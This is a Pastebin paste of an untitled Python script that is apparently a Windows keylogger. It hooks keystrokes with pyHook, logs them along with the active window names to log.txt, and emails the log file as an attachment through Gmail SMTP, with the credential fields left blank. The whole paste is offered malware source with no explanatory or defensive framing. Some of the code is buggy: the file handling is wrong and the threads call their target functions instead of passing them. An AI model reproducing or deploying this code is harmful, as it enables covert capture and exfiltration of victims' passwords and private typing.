Guest User

Untitled

a guest
Jun 7th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. import pyHook
  2. import pythoncom
  3. import os
  4. import threading
  5. import time
  6. import tempfile
  7. import datetime
  8. import smtplib
  9. from email.mime.text import MIMEText
  10. from email.mime.multipart import MIMEMultipart
  11. from email.mime.base import MIMEBase
  12. from email import encoders
  13.  
  14.  
  15. def function(event, janela):
  16. arquivo = open('log.txt', 'a')
  17. with open(arquivo, 'a') as stream:
  18. if event.WindowsName != janela:
  19. janela = event.WindowsName
  20. stream.write('n' + janela + ' - ' + str(event.Time) + 'n')
  21. stream.write(chr(event.Ascii))
  22. return janela
  23.  
  24.  
  25. def pump():
  26. hook = pyHook.HookManager()
  27. hook.KeyDown = function
  28. hook.HookKeyboard()
  29. pythoncom.PumpMessages()
  30.  
  31.  
  32. def send_email(arquivo):
  33. time.sleep(5)
  34. email_user = ''
  35. email_password = ''
  36. email_send = ''
  37. subject = '' + str(datetime.date.today())
  38. msg = MIMEMultipart()
  39. msg['From'] = email_user
  40. msg['To'] = email_send
  41. msg['Subject'] = subject
  42. body = '[*] Logs file uploaded successfully!'
  43. msg.attach(MIMEText(body, 'plain'))
  44. filename = arquivo
  45. attachment = open(arquivo, 'rb')
  46. part = MIMEBase('application', 'octet-stream')
  47. part.set_payload((attachment).read())
  48. encoders.encode_base64(part)
  49. part.add_header('Content-Disposition', "attachment; filename= " + filename)
  50. msg.attach(part)
  51. text = msg.as_string()
  52. server = smtplib.SMTP('smtp.gmail.com', 587)
  53. server.starttls()
  54. server.login(email_user, email_password)
  55. server.sendmail(email_user, email_send, text)
  56. server.quit()
  57.  
  58.  
  59. w1 = threading.Thread(target=send_email(), args=[])
  60. w = threading.Thread(target=pump())
  61.  
  62. w.start()
  63. w1.start()
Add Comment
Please, Sign In to add comment